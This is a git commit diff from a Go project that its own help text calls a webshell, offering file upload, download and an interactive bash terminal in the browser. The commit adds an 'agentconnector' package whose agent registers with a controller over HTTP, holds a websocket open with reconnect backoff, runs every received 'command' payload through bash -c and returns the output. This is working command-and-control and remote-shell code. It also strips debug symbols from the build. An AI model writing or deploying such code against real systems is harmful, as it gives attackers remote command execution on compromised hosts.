added port number to the websocket connection
This commit is contained in:
parent
23046e026d
commit
380ff26eef
3
Makefile
3
Makefile
|
@ -13,7 +13,8 @@ all: build
|
||||||
|
|
||||||
build: ## Build the application
|
build: ## Build the application
|
||||||
@echo "Building $(APP_NAME)..."
|
@echo "Building $(APP_NAME)..."
|
||||||
$(GO_BUILD) -o $(BINARY)
|
# $(GO_BUILD) -o $(BINARY)
|
||||||
|
$(GO_BUILD) -ldflags "-w" -o $(BINARY)
|
||||||
|
|
||||||
install: build ## Install the application
|
install: build ## Install the application
|
||||||
@echo "Installing $(APP_NAME)..."
|
@echo "Installing $(APP_NAME)..."
|
||||||
|
|
59
main.go
59
main.go
|
@ -10,6 +10,7 @@ import (
|
||||||
"html/template"
|
"html/template"
|
||||||
"io"
|
"io"
|
||||||
"log"
|
"log"
|
||||||
|
"net"
|
||||||
"net/http"
|
"net/http"
|
||||||
"net/url"
|
"net/url"
|
||||||
"os"
|
"os"
|
||||||
|
@ -18,9 +19,12 @@ import (
|
||||||
"path/filepath"
|
"path/filepath"
|
||||||
"regexp"
|
"regexp"
|
||||||
"strings"
|
"strings"
|
||||||
|
"sync"
|
||||||
|
|
||||||
"github.com/creack/pty"
|
"github.com/creack/pty"
|
||||||
"github.com/gorilla/websocket"
|
"github.com/gorilla/websocket"
|
||||||
|
|
||||||
|
"gommand/src/agentconnector"
|
||||||
)
|
)
|
||||||
|
|
||||||
type PageData struct {
|
type PageData struct {
|
||||||
|
@ -36,6 +40,8 @@ type CommandOutput struct {
|
||||||
Error string
|
Error string
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Contains the list of commands, which will be parsed recursively
|
||||||
|
// through executeCommandTree() and in the end executeCommand()
|
||||||
type CommandNode struct {
|
type CommandNode struct {
|
||||||
Operator string
|
Operator string
|
||||||
Left *CommandNode
|
Left *CommandNode
|
||||||
|
@ -485,14 +491,60 @@ func handler(w http.ResponseWriter, r *http.Request) {
|
||||||
tmpl.Execute(w, data)
|
tmpl.Execute(w, data)
|
||||||
}
|
}
|
||||||
|
|
||||||
func main() {
|
func startMainServer() (int, net.Listener) {
|
||||||
|
|
||||||
http.HandleFunc("/", handler)
|
http.HandleFunc("/", handler)
|
||||||
http.HandleFunc("/upload", fileUploadHandler)
|
http.HandleFunc("/upload", fileUploadHandler)
|
||||||
http.HandleFunc("/download", fileDownloadHandler)
|
http.HandleFunc("/download", fileDownloadHandler)
|
||||||
http.HandleFunc("/terminal", terminalHandler)
|
http.HandleFunc("/terminal", terminalHandler)
|
||||||
http.Handle("/static/", http.FileServer(http.FS(staticFiles)))
|
http.Handle("/static/", http.FileServer(http.FS(staticFiles)))
|
||||||
fmt.Println("Starting server on :8080")
|
|
||||||
http.ListenAndServe(":8080", nil)
|
listener, err := net.Listen("tcp", ":0")
|
||||||
|
if err != nil {
|
||||||
|
log.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
port := listener.Addr().(*net.TCPAddr).Port
|
||||||
|
log.Println("Using port:", port)
|
||||||
|
|
||||||
|
return port, listener
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
func main() {
|
||||||
|
// http.HandleFunc("/", handler)
|
||||||
|
// http.HandleFunc("/upload", fileUploadHandler)
|
||||||
|
// http.HandleFunc("/download", fileDownloadHandler)
|
||||||
|
// http.HandleFunc("/terminal", terminalHandler)
|
||||||
|
// http.Handle("/static/", http.FileServer(http.FS(staticFiles)))
|
||||||
|
// // fmt.Println("Starting server on :8080")
|
||||||
|
// // log.Fatal(http.ListenAndServe(":8080", nil))
|
||||||
|
|
||||||
|
// /* This section opens the server on a random port which is also free to use */
|
||||||
|
// listener, err := net.Listen("tcp", ":0")
|
||||||
|
// if err != nil {
|
||||||
|
// panic(err)
|
||||||
|
// }
|
||||||
|
// log.Println("Using port:", listener.Addr().(*net.TCPAddr).Port)
|
||||||
|
// log.Fatal(http.Serve(listener, nil))
|
||||||
|
|
||||||
|
port, listener := startMainServer()
|
||||||
|
|
||||||
|
var wg sync.WaitGroup
|
||||||
|
wg.Add(2)
|
||||||
|
|
||||||
|
go func() {
|
||||||
|
defer wg.Done()
|
||||||
|
log.Fatal(http.Serve(listener, nil))
|
||||||
|
}()
|
||||||
|
|
||||||
|
go func() {
|
||||||
|
defer wg.Done()
|
||||||
|
agentconnector.StartServer(port)
|
||||||
|
}()
|
||||||
|
|
||||||
|
wg.Wait()
|
||||||
}
|
}
|
||||||
|
|
||||||
var upgrader = websocket.Upgrader {
|
var upgrader = websocket.Upgrader {
|
||||||
|
@ -540,6 +592,7 @@ func terminalHandler (w http.ResponseWriter, r *http.Request) {
|
||||||
break
|
break
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// This is done, so resizing works in the browser, especially resizing the terminal
|
||||||
// Check if the message is binary and starts with control prefix 0xFF.
|
// Check if the message is binary and starts with control prefix 0xFF.
|
||||||
if len(message) > 0 && message[0] == 0xFF {
|
if len(message) > 0 && message[0] == 0xFF {
|
||||||
var resizeMsg struct {
|
var resizeMsg struct {
|
||||||
|
|
|
@ -0,0 +1,182 @@
|
||||||
|
package agentconnector
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"log"
|
||||||
|
"net/http"
|
||||||
|
"net/url"
|
||||||
|
"os/exec"
|
||||||
|
"time"
|
||||||
|
"math/rand"
|
||||||
|
"math"
|
||||||
|
"strconv"
|
||||||
|
|
||||||
|
"github.com/gorilla/websocket"
|
||||||
|
)
|
||||||
|
|
||||||
|
const(
|
||||||
|
webServerAddr = "127.0.0.1:3333"
|
||||||
|
webSocketAddr = "127.0.0.1:5555"
|
||||||
|
registerURL = "http://" + webServerAddr + "/agents"
|
||||||
|
// wsURL = "ws://" + webSocketAddr + "/data"
|
||||||
|
)
|
||||||
|
|
||||||
|
type Agent struct {
|
||||||
|
AgentName string `json:"agentName"`
|
||||||
|
AgentID string `json:"agentId"`
|
||||||
|
AgentType string `json:"agentType"`
|
||||||
|
AgentIP string `json:"agentIp"`
|
||||||
|
InitialContact string `json:"initialContact"`
|
||||||
|
LastContact string `json:"lastContact"`
|
||||||
|
AddPort string `json:"addPort"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type Message struct {
|
||||||
|
Type string `json:"type"`
|
||||||
|
Payload string `json:"payload"`
|
||||||
|
}
|
||||||
|
|
||||||
|
var conn *websocket.Conn
|
||||||
|
|
||||||
|
func registerAgent(agentName, agentId, agentIp, agentType, addPort string) error {
|
||||||
|
|
||||||
|
form := url.Values{}
|
||||||
|
form.Add("agentId", agentId)
|
||||||
|
form.Add("agentName", agentName)
|
||||||
|
form.Add("agentType", agentType)
|
||||||
|
form.Add("IPv4Address", agentIp)
|
||||||
|
form.Add("addPort", addPort)
|
||||||
|
|
||||||
|
resp, err := http.PostForm(registerURL, form)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("Error registering agent: %v", err)
|
||||||
|
}
|
||||||
|
defer resp.Body.Close()
|
||||||
|
|
||||||
|
if resp.StatusCode != http.StatusCreated {
|
||||||
|
return fmt.Errorf("Failed to register agent, status: %v", resp.Status)
|
||||||
|
}
|
||||||
|
|
||||||
|
log.Printf("Agent %s successfully registered.", agentName)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func connectToWebSocket(agentName, agentId, agentIp, agentType, addPort string) error {
|
||||||
|
wsURL := fmt.Sprintf("ws://%s/data?agentName=%s&agentId=%s&IPv4Address=%s&agentType=%s&addPort=%s", webSocketAddr, url.QueryEscape(agentName), url.QueryEscape(agentId), url.QueryEscape(agentIp), url.QueryEscape(agentType), url.QueryEscape(addPort))
|
||||||
|
var err error
|
||||||
|
for {
|
||||||
|
conn, _, err = websocket.DefaultDialer.Dial(wsURL, nil)
|
||||||
|
if err == nil {
|
||||||
|
log.Println("WeSocket connection established")
|
||||||
|
// logger.LogEntries = append(logger.LogEntries, fmt.Sprintf("%s websocket established", time.Now().Format(time.RFC3339)))
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
log.Printf("Failed to connect to WebSocket: %v. Retrying in 5 seconds...", err)
|
||||||
|
time.Sleep(5 * time.Second)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func reconnectToWebSocket(agentName, agentId, agentIp, agentType, addPort string) error {
|
||||||
|
backoff := 2 * time.Second
|
||||||
|
maxBackoff := 1 * time.Minute
|
||||||
|
|
||||||
|
for {
|
||||||
|
log.Println("Attempting to reconnect to WebSocket...")
|
||||||
|
err := connectToWebSocket(agentName, agentId, agentIp, agentType, addPort)
|
||||||
|
if err == nil {
|
||||||
|
log.Println("Reconnection succesful.")
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
log.Printf("Reconnection failed: %v", err)
|
||||||
|
|
||||||
|
time.Sleep(backoff)
|
||||||
|
backoff *= 2
|
||||||
|
if backoff > maxBackoff {
|
||||||
|
backoff = maxBackoff
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func listenForCommands(agentName, agentId, agentIp, agentType, addPort string) {
|
||||||
|
defer conn.Close()
|
||||||
|
|
||||||
|
for {
|
||||||
|
_, rawMessage, err := conn.ReadMessage()
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("Connection lost: %v", err)
|
||||||
|
if reconnectErr := reconnectToWebSocket(agentName, agentId, agentIp, agentType, addPort); reconnectErr != nil {
|
||||||
|
log.Printf("Critical error during reconnection: %v", reconnectErr)
|
||||||
|
}
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
var message Message
|
||||||
|
if err := json.Unmarshal(rawMessage, &message); err != nil {
|
||||||
|
log.Printf("Error unmarshalling message: %v", err)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
if message.Type != "command" {
|
||||||
|
log.Printf("Ignoring non-command message: %v", message)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
command := message.Payload
|
||||||
|
log.Printf("Received command: %s", command)
|
||||||
|
|
||||||
|
cmd := exec.Command("bash", "-c", command)
|
||||||
|
output, err := cmd.CombinedOutput()
|
||||||
|
|
||||||
|
response := Message{
|
||||||
|
Type: "response",
|
||||||
|
Payload: string(output),
|
||||||
|
}
|
||||||
|
|
||||||
|
if err != nil {
|
||||||
|
response.Payload += fmt.Sprintf("\n Error executing command: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
responseBytes, _ := json.Marshal(response)
|
||||||
|
if err := conn.WriteMessage(websocket.TextMessage, responseBytes); err != nil {
|
||||||
|
log.Printf("Error sending output: %v", err)
|
||||||
|
break
|
||||||
|
}
|
||||||
|
|
||||||
|
log.Printf("Output sent to server.")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func randomInt(length int) int {
|
||||||
|
rand.Seed(time.Now().UnixNano())
|
||||||
|
min := int(math.Pow10(length-1))
|
||||||
|
max := int(math.Pow10(length)) -1
|
||||||
|
return rand.Intn(max-min+1) + min
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
// func main() {
|
||||||
|
func StartServer(agentInteractivePort int){
|
||||||
|
// agentInteractivePort is only needed for interactive sessions
|
||||||
|
agentName := "Agent-001"
|
||||||
|
agentId := strconv.Itoa(randomInt(8))
|
||||||
|
agentIp := "127.0.0.1"
|
||||||
|
agentType := "Interactive"
|
||||||
|
addPort := strconv.Itoa(agentInteractivePort)
|
||||||
|
|
||||||
|
log.Printf("AgentId: %s", agentId)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
// if err := registerAgent(agentName, agentId, agentIp, agentType); err != nil {
|
||||||
|
// log.Fatalf("Agent registration failed: %v", err)
|
||||||
|
// }
|
||||||
|
|
||||||
|
if err := connectToWebSocket(agentName, agentId, agentIp, agentType, addPort); err != nil {
|
||||||
|
log.Fatalf("Websocket connection failed: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
listenForCommands(agentName, agentId, agentIp, agentType, addPort)
|
||||||
|
}
|
|
@ -1,11 +1,11 @@
|
||||||
const helpMsg = `
|
const helpMsg = `
|
||||||
This is a non interactive Webshell including some additional features to ease
|
This is a non interactive Webshell with an interactive mode, including some
|
||||||
communications between server and client.
|
additional features to ease communications between server and client.
|
||||||
Available Commands:
|
Available Commands:
|
||||||
upload Upload files to the server through the file selector of the browser.
|
upload Upload files to the server through the file selector of the browser.
|
||||||
download <file> Download files from the server to your local download directory.
|
download <file> Download files from the server to your local download directory.
|
||||||
theme <theme> Change the colorscheme of the shell. Type theme to get an overview of all colorschemes.
|
theme <theme> Change the colorscheme of the shell. Type theme to get an overview of all colorschemes.
|
||||||
start-interactive Opens a bash shell in an interactive terminal. Type ctrl+d to exit the interactive shell.
|
start-interactive Opens a bash shell in an interactive terminal. Type ctrl+d to go back to non-interactive mode.
|
||||||
`
|
`
|
||||||
// const helpMsg = 'This is a non interactive Webshell including some additional features to ease communications between server and client.\n Available Commands:\n upload\t\t\t\tUpload files to the server through the file selector of the browser.\n download <file>\t\t\tDownload files from the server to your local download directory.\n theme <theme>\t\t\tChange the colorscheme of the shell. Type theme to get an overview of all colorschemes.\n start-interactive\t\t\tOpens a bash shell in an interactive terminal. Type ctrl+d to exi the interactive shell.'
|
// const helpMsg = 'This is a non interactive Webshell including some additional features to ease communications between server and client.\n Available Commands:\n upload\t\t\t\tUpload files to the server through the file selector of the browser.\n download <file>\t\t\tDownload files from the server to your local download directory.\n theme <theme>\t\t\tChange the colorscheme of the shell. Type theme to get an overview of all colorschemes.\n start-interactive\t\t\tOpens a bash shell in an interactive terminal. Type ctrl+d to exi the interactive shell.'
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue